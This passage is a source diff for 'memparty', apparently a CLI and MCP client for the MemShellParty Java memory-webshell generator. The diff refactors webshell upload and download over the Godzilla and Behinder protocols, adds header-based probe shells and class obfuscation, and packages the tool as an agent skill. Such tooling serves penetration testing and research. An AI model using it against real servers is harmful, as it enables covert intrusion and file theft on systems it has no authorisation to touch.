break;
|
|
4611
|
-
default:
|
|
4612
|
-
throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
4613
|
-
}
|
|
5039
|
+
const protocol = requireProtocol(conn.tool);
|
|
5040
|
+
if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
|
|
5041
|
+
let result = await protocol.download(
|
|
5042
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
5043
|
+
args.remotePath
|
|
5044
|
+
);
|
|
4614
5045
|
if (result.ok && result.data !== void 0) {
|
|
4615
5046
|
try {
|
|
4616
5047
|
writeFileSync5(localPath, result.data);
|
|
@@ -4662,40 +5093,25 @@ function createMcpServer(client) {
|
|
|
4662
5093
|
key: args.key,
|
|
4663
5094
|
headerName: args.headerName,
|
|
4664
5095
|
headerValue: args.headerValue,
|
|
4665
|
-
insecure: args.insecure
|
|
5096
|
+
insecure: args.insecure,
|
|
5097
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4666
5098
|
});
|
|
4667
5099
|
const common = {
|
|
4668
5100
|
headerName: conn.headerName,
|
|
4669
5101
|
headerValue: conn.headerValue,
|
|
4670
5102
|
extraHeaders: conn.extraHeaders,
|
|
4671
5103
|
timeoutMs: args.timeoutMs,
|
|
4672
|
-
insecure: conn.insecure
|
|
5104
|
+
insecure: conn.insecure,
|
|
5105
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4673
5106
|
};
|
|
4674
5107
|
const data = readUploadFile(args.localPath);
|
|
4675
|
-
|
|
4676
|
-
|
|
4677
|
-
|
|
4678
|
-
|
|
4679
|
-
|
|
4680
|
-
|
|
4681
|
-
|
|
4682
|
-
args.remotePath,
|
|
4683
|
-
data,
|
|
4684
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
4685
|
-
);
|
|
4686
|
-
break;
|
|
4687
|
-
case "behinder":
|
|
4688
|
-
result = await uploadBehinder(
|
|
4689
|
-
conn.url,
|
|
4690
|
-
conn.pass ?? "rebeyond",
|
|
4691
|
-
args.remotePath,
|
|
4692
|
-
data,
|
|
4693
|
-
common
|
|
4694
|
-
);
|
|
4695
|
-
break;
|
|
4696
|
-
default:
|
|
4697
|
-
throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
4698
|
-
}
|
|
5108
|
+
const protocol = requireProtocol(conn.tool);
|
|
5109
|
+
if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
|
|
5110
|
+
const result = await protocol.upload(
|
|
5111
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
5112
|
+
args.remotePath,
|
|
5113
|
+
data
|
|
5114
|
+
);
|
|
4699
5115
|
let savedAs;
|
|
4700
5116
|
if (result.ok && conn.targetName === void 0) {
|
|
4701
5117
|
savedAs = autoSaveShell(conn);
|
|
@@ -4742,6 +5158,7 @@ function createMcpServer(client) {
|
|
|
4742
5158
|
headerName: args.headerName,
|
|
4743
5159
|
headerValue: args.headerValue,
|
|
4744
5160
|
insecure: args.insecure,
|
|
5161
|
+
upgradeProtocol: args.upgradeProtocol,
|
|
4745
5162
|
remark: args.shellRemark
|
|
4746
5163
|
});
|
|
4747
5164
|
logOp({
|
|
@@ -4906,7 +5323,7 @@ function registerMcpCommand(program) {
|
|
|
4906
5323
|
}
|
|
4907
5324
|
|
|
4908
5325
|
// src/commands/parse-classname.ts
|
|
4909
|
-
import { readFileSync as
|
|
5326
|
+
import { readFileSync as readFileSync10 } from "fs";
|
|
4910
5327
|
function registerParseClassNameCommand(program) {
|
|
4911
5328
|
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
|
|
4912
5329
|
"after",
|
|
@@ -4919,7 +5336,7 @@ Examples:
|
|
|
4919
5336
|
).action(async (base64, opts, cmd) => {
|
|
4920
5337
|
let classBase64;
|
|
4921
5338
|
if (opts.file) {
|
|
4922
|
-
classBase64 =
|
|
5339
|
+
classBase64 = readFileSync10(opts.file).toString("base64");
|
|
4923
5340
|
} else if (base64) {
|
|
4924
5341
|
classBase64 = base64.trim();
|
|
4925
5342
|
} else {
|
|
@@ -4933,7 +5350,7 @@ Examples:
|
|
|
4933
5350
|
}
|
|
4934
5351
|
|
|
4935
5352
|
// src/commands/probe.ts
|
|
4936
|
-
import { Option as
|
|
5353
|
+
import { Option as Option6 } from "commander";
|
|
4937
5354
|
|
|
4938
5355
|
// src/wizard/probe-wizard.ts
|
|
4939
5356
|
import { checkbox as checkbox2, confirm as confirm2, input as input2, select as select2 } from "@inquirer/prompts";
|
|
@@ -4941,26 +5358,40 @@ var JDK_CHOICES2 = [
|
|
|
4941
5358
|
{ name: "server default", value: "" },
|
|
4942
5359
|
...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name }))
|
|
4943
5360
|
];
|
|
4944
|
-
var PROBE_METHODS = ["ResponseBody", "DNSLog", "Sleep"];
|
|
4945
|
-
var PROBE_CONTENTS =
|
|
5361
|
+
var PROBE_METHODS = ["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"];
|
|
5362
|
+
var PROBE_CONTENTS = {
|
|
5363
|
+
ResponseBody: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
|
|
5364
|
+
ResponseHeader: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
|
|
5365
|
+
DNSLog: ["Server", "JDK"],
|
|
5366
|
+
Sleep: ["Server"]
|
|
5367
|
+
};
|
|
4946
5368
|
async function runProbeWizard(client) {
|
|
4947
|
-
const [
|
|
4948
|
-
|
|
5369
|
+
const [packerTree, discoveredServers, config] = await Promise.all([
|
|
5370
|
+
client.getPackerTree(),
|
|
5371
|
+
client.getProbeResponseServers(),
|
|
5372
|
+
client.getConfig()
|
|
5373
|
+
]);
|
|
5374
|
+
const servers = discoveredServers.length ? discoveredServers : Object.keys(config);
|
|
4949
5375
|
const probeMethod = await select2({
|
|
4950
5376
|
message: "Probe method",
|
|
4951
5377
|
choices: PROBE_METHODS.map((m) => ({ name: m, value: m }))
|
|
4952
5378
|
});
|
|
4953
5379
|
const probeContent = await select2({
|
|
4954
5380
|
message: "Probe content",
|
|
4955
|
-
choices: PROBE_CONTENTS.map((
|
|
5381
|
+
choices: PROBE_CONTENTS[probeMethod].map((content) => ({
|
|
5382
|
+
name: content,
|
|
5383
|
+
value: content
|
|
5384
|
+
}))
|
|
4956
5385
|
});
|
|
4957
|
-
const
|
|
4958
|
-
message: "Packer",
|
|
4959
|
-
choices: packerTree.
|
|
4960
|
-
{ name: p.name, value: p.name },
|
|
4961
|
-
...p.children.map((c) => ({ name: ` ${c}`, value: c }))
|
|
4962
|
-
])
|
|
5386
|
+
const category = await select2({
|
|
5387
|
+
message: "Packer category",
|
|
5388
|
+
choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
|
|
4963
5389
|
});
|
|
5390
|
+
const selected = packerTree.find((packer2) => packer2.name === category);
|
|
5391
|
+
const packer = selected.children.length ? await select2({
|
|
5392
|
+
message: "Packer variant",
|
|
5393
|
+
choices: selected.children.map((name) => ({ name, value: name }))
|
|
5394
|
+
}) : category;
|
|
4964
5395
|
const opts = { probeMethod, probeContent, packer };
|
|
4965
5396
|
switch (probeMethod) {
|
|
4966
5397
|
case "DNSLog":
|
|
@@ -4973,23 +5404,21 @@ async function runProbeWizard(client) {
|
|
|
4973
5404
|
});
|
|
4974
5405
|
opts.seconds = Number(await input2({ message: "Seconds", default: "5" }));
|
|
4975
5406
|
break;
|
|
4976
|
-
case "ResponseBody":
|
|
4977
|
-
|
|
4978
|
-
try {
|
|
4979
|
-
responseBodyServers = await client.getProbeResponseBodyServers();
|
|
4980
|
-
} catch {
|
|
4981
|
-
}
|
|
5407
|
+
case "ResponseBody":
|
|
5408
|
+
case "ResponseHeader":
|
|
4982
5409
|
opts.server = await select2({
|
|
4983
5410
|
message: "Server",
|
|
4984
|
-
choices:
|
|
5411
|
+
choices: servers.map((s) => ({ name: s, value: s }))
|
|
4985
5412
|
});
|
|
4986
|
-
opts.reqParamName = await input2({ message: "Request param name", default: "cmd" });
|
|
5413
|
+
opts.reqParamName = await input2({ message: "Request param/header name", default: "cmd" });
|
|
4987
5414
|
opts.commandTemplate = await input2({
|
|
4988
5415
|
message: "Command template (optional, {command} placeholder)",
|
|
4989
5416
|
default: ""
|
|
4990
5417
|
});
|
|
5418
|
+
if (probeMethod === "ResponseHeader") {
|
|
5419
|
+
opts.respHeaderName = await input2({ message: "Response header name (optional)", default: "" });
|
|
5420
|
+
}
|
|
4991
5421
|
break;
|
|
4992
|
-
}
|
|
4993
5422
|
default:
|
|
4994
5423
|
break;
|
|
4995
5424
|
}
|
|
@@ -5004,7 +5433,8 @@ async function runProbeWizard(client) {
|
|
|
5004
5433
|
{ name: "static initialize", value: "staticInitialize", checked: true },
|
|
5005
5434
|
{ name: "bypass Java module", value: "byPassJavaModule" },
|
|
5006
5435
|
{ name: "lambda suffix", value: "lambdaSuffix" },
|
|
5007
|
-
{ name: "debug", value: "debug" }
|
|
5436
|
+
{ name: "debug", value: "debug" },
|
|
5437
|
+
{ name: "class obfuscation (v3+)", value: "obfuscate" }
|
|
5008
5438
|
]
|
|
5009
5439
|
});
|
|
5010
5440
|
opts.shrink = toggles.includes("shrink");
|
|
@@ -5012,6 +5442,7 @@ async function runProbeWizard(client) {
|
|
|
5012
5442
|
opts.byPassJavaModule = toggles.includes("byPassJavaModule");
|
|
5013
5443
|
opts.lambdaSuffix = toggles.includes("lambdaSuffix");
|
|
5014
5444
|
opts.debug = toggles.includes("debug");
|
|
5445
|
+
opts.obfuscate = toggles.includes("obfuscate");
|
|
5015
5446
|
const confirmed = await confirm2({ message: `Generate ${probeMethod} probe (${packer})?` });
|
|
5016
5447
|
if (!confirmed) throw new Error("Cancelled by user.");
|
|
5017
5448
|
return opts;
|
|
@@ -5029,6 +5460,8 @@ function toOptions2(o) {
|
|
|
5029
5460
|
byPassJavaModule: o.bypassModule,
|
|
5030
5461
|
shrink: o.shrink,
|
|
5031
5462
|
lambdaSuffix: o.lambdaSuffix,
|
|
5463
|
+
obfuscate: o.obfuscate,
|
|
5464
|
+
obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
|
|
5032
5465
|
staticInitialize: o.staticInitialize,
|
|
5033
5466
|
shellClassName: o.shellClassName,
|
|
5034
5467
|
host: o.host,
|
|
@@ -5036,11 +5469,12 @@ function toOptions2(o) {
|
|
|
5036
5469
|
sleepServer: o.sleepServer,
|
|
5037
5470
|
server: o.server,
|
|
5038
5471
|
reqParamName: o.reqParamName,
|
|
5039
|
-
commandTemplate: o.commandTemplate
|
|
5472
|
+
commandTemplate: o.commandTemplate,
|
|
5473
|
+
respHeaderName: o.respHeaderName
|
|
5040
5474
|
};
|
|
5041
5475
|
}
|
|
5042
5476
|
function registerProbeCommand(program) {
|
|
5043
|
-
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content:
|
|
5477
|
+
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, ResponseHeader, DNSLog, Sleep").option("-c, --content <content>", "probe content: Server, JDK, Bytecode, Command, ScriptEngine, Filter").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody/ResponseHeader methods; use Unknown if unidentified)").option("--req-param-name <name>", "request param/header name (ResponseBody/ResponseHeader methods)").option("--resp-header-name <name>", "response header name (ResponseHeader method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option6("--decode", "base64-decode the payload before writing")).addOption(new Option6("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
5044
5478
|
"after",
|
|
5045
5479
|
`
|
|
5046
5480
|
Examples:
|
|
@@ -5050,6 +5484,7 @@ Examples:
|
|
|
5050
5484
|
$ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
|
|
5051
5485
|
$ memparty probe -m Sleep -c Server -p DefaultBase64 \\
|
|
5052
5486
|
--sleep-server Tomcat --seconds 5
|
|
5487
|
+
$ memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
|
|
5053
5488
|
|
|
5054
5489
|
Note: a probe is a detection shell that reports what the target supports.
|
|
5055
5490
|
The server name reported by '-c Server' is the value to pass as
|
|
@@ -5217,7 +5652,7 @@ ${lines.join("\n")}
|
|
|
5217
5652
|
}
|
|
5218
5653
|
|
|
5219
5654
|
// src/commands/skill.ts
|
|
5220
|
-
import { Command as
|
|
5655
|
+
import { Command as Command8 } from "commander";
|
|
5221
5656
|
|
|
5222
5657
|
// src/core/skill-install.ts
|
|
5223
5658
|
import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
|
|
@@ -5261,7 +5696,7 @@ function installSkill(scopes, opts = {}) {
|
|
|
5261
5696
|
// src/commands/skill.ts
|
|
5262
5697
|
function registerSkillCommand(program) {
|
|
5263
5698
|
program.command("skill").description("Manage the bundled agent skill (skills/memshell-party)").addCommand(
|
|
5264
|
-
new
|
|
5699
|
+
new Command8("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
|
|
5265
5700
|
"after",
|
|
5266
5701
|
`
|
|
5267
5702
|
The package ships skills/memshell-party/SKILL.md \u2014 the workflow guide that
|
|
@@ -5312,7 +5747,7 @@ Examples:
|
|
|
5312
5747
|
}
|
|
5313
5748
|
|
|
5314
5749
|
// src/commands/target.ts
|
|
5315
|
-
import { Option as
|
|
5750
|
+
import { Option as Option7 } from "commander";
|
|
5316
5751
|
function parseExtraHeaders3(lines) {
|
|
5317
5752
|
const headers = {};
|
|
5318
5753
|
for (const line of lines ?? []) {
|
|
@@ -5362,8 +5797,8 @@ function registerTargetCommand(program) {
|
|
|
5362
5797
|
program.command("save").description(
|
|
5363
5798
|
"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
|
|
5364
5799
|
).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
|
|
5365
|
-
new
|
|
5366
|
-
).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
|
|
5800
|
+
new Option7("-t, --tool <tool>", "shell tool").choices(protocolNames())
|
|
5801
|
+
).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
|
|
5367
5802
|
"after",
|
|
5368
5803
|
`
|
|
5369
5804
|
Examples:
|
|
@@ -5407,6 +5842,7 @@ save is for choosing the name by hand.
|
|
|
5407
5842
|
headerValue: opts.headerValue,
|
|
5408
5843
|
extraHeaders: parseExtraHeaders3(opts.header),
|
|
5409
5844
|
profile: opts.profile,
|
|
5845
|
+
upgradeProtocol: opts.upgradeProtocol,
|
|
5410
5846
|
insecure: opts.insecure || void 0,
|
|
5411
5847
|
remark: opts.shellRemark
|
|
5412
5848
|
};
|
|
@@ -5514,7 +5950,7 @@ save is for choosing the name by hand.
|
|
|
5514
5950
|
|
|
5515
5951
|
// src/commands/transfer.ts
|
|
5516
5952
|
import { writeFileSync as writeFileSync6 } from "fs";
|
|
5517
|
-
import { Option as
|
|
5953
|
+
import { Option as Option8 } from "commander";
|
|
5518
5954
|
function parseExtraHeaders4(lines) {
|
|
5519
5955
|
const headers = {};
|
|
5520
5956
|
for (const line of lines ?? []) {
|
|
@@ -5537,7 +5973,8 @@ function resolveTransfer(name, opts, timeoutMs) {
|
|
|
5537
5973
|
headerName: opts.headerName,
|
|
5538
5974
|
headerValue: opts.headerValue,
|
|
5539
5975
|
extraHeaders: parseExtraHeaders4(opts.header),
|
|
5540
|
-
insecure: opts.insecure
|
|
5976
|
+
insecure: opts.insecure,
|
|
5977
|
+
upgradeProtocol: opts.upgradeProtocol
|
|
5541
5978
|
});
|
|
5542
5979
|
} catch (err) {
|
|
5543
5980
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -5551,7 +5988,8 @@ function resolveTransfer(name, opts, timeoutMs) {
|
|
|
5551
5988
|
headerValue: conn.headerValue,
|
|
5552
5989
|
extraHeaders: conn.extraHeaders,
|
|
5553
5990
|
timeoutMs,
|
|
5554
|
-
insecure: conn.insecure
|
|
5991
|
+
insecure: conn.insecure,
|
|
5992
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
5555
5993
|
}
|
|
5556
5994
|
};
|
|
5557
5995
|
}
|
|
@@ -5586,8 +6024,8 @@ function printResult(result, localPath, savedAs, json) {
|
|
|
5586
6024
|
}
|
|
5587
6025
|
function registerDownloadCommand(program) {
|
|
5588
6026
|
program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
5589
|
-
new
|
|
5590
|
-
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
|
|
6027
|
+
new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
|
|
6028
|
+
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
|
|
5591
6029
|
"--remote-charset <label>",
|
|
5592
6030
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
5593
6031
|
).option(
|
|
@@ -5677,8 +6115,8 @@ is never overwritten unless --force is given.
|
|
|
5677
6115
|
}
|
|
5678
6116
|
function registerUploadCommand(program) {
|
|
5679
6117
|
program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
5680
|
-
new
|
|
5681
|
-
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
|
|
6118
|
+
new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
|
|
6119
|
+
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
|
|
5682
6120
|
"--remote-charset <label>",
|
|
5683
6121
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
5684
6122
|
).option(
|
|
@@ -5894,7 +6332,7 @@ async function startRepl(build) {
|
|
|
5894
6332
|
|
|
5895
6333
|
// src/cli.ts
|
|
5896
6334
|
function buildProgram() {
|
|
5897
|
-
const program = new
|
|
6335
|
+
const program = new Command12();
|
|
5898
6336
|
program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
|
|
5899
6337
|
"--api <url>",
|
|
5900
6338
|
`MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
|
|
@@ -5922,6 +6360,7 @@ Every subcommand has its own examples: memparty <command> --help
|
|
|
5922
6360
|
registerGenCommand(program);
|
|
5923
6361
|
registerProbeCommand(program);
|
|
5924
6362
|
registerConfigCommand(program);
|
|
6363
|
+
registerBytecodeCommand(program);
|
|
5925
6364
|
registerConnectCommand(program);
|
|
5926
6365
|
registerExecCommand(program);
|
|
5927
6366
|
registerDownloadCommand(program);
|